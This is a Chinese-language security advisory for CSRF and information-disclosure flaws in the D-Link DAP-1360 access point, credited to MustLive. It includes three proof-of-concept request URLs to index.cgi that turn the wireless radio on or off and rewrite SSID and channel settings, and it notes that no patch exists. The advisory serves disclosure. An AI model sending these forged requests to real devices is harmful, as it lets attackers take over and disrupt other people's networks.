D-Link DAP-1360信息泄露及跨站请求伪造漏洞

BugTraq-ID:71000

发布日期：2014-11-08

更新日期：2014-11-18

受影响系统：

D-Link DAP-1360

详细信息：

D-Link DAP-1360是无线N接入点连接宽带调制解调器。 D-Link DAP-1360在实现上存在多个跨站请求伪造漏洞及信息泄露漏洞，成功利用后可使远程攻击者执行某些管理员操作。

来源：

MustLive （mustlive@websecurity.com.ua）

测试方法：

警告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！MustLive （mustlive@websecurity.com.ua）提供了如下测试方法： http://www.example.com/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=39&res_struct_size=0&res_buf={%22Radio%22:false,%22mbssidNum%22:1,%22mbssidCur%22:1} http://www.example.com/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=39&res_struct_size=0&res_buf={%22Radio%22:true,%22mbssidNum%22:1,%22mbssidCur%22:1} http://www.example.com/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=35&res_struct_size=0&res_buf={%22HideSSID%22:false,%22mbssid%22:[{%22SSID%22:%221%22}],%22CountryCode%22:%22UA%22,%22Channel%22:%22auto%22,%22WirelessMode%22:%229%22,%22MaxStaNum%22:%220%22}

解决办法：

厂商补丁：

D-Link

------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/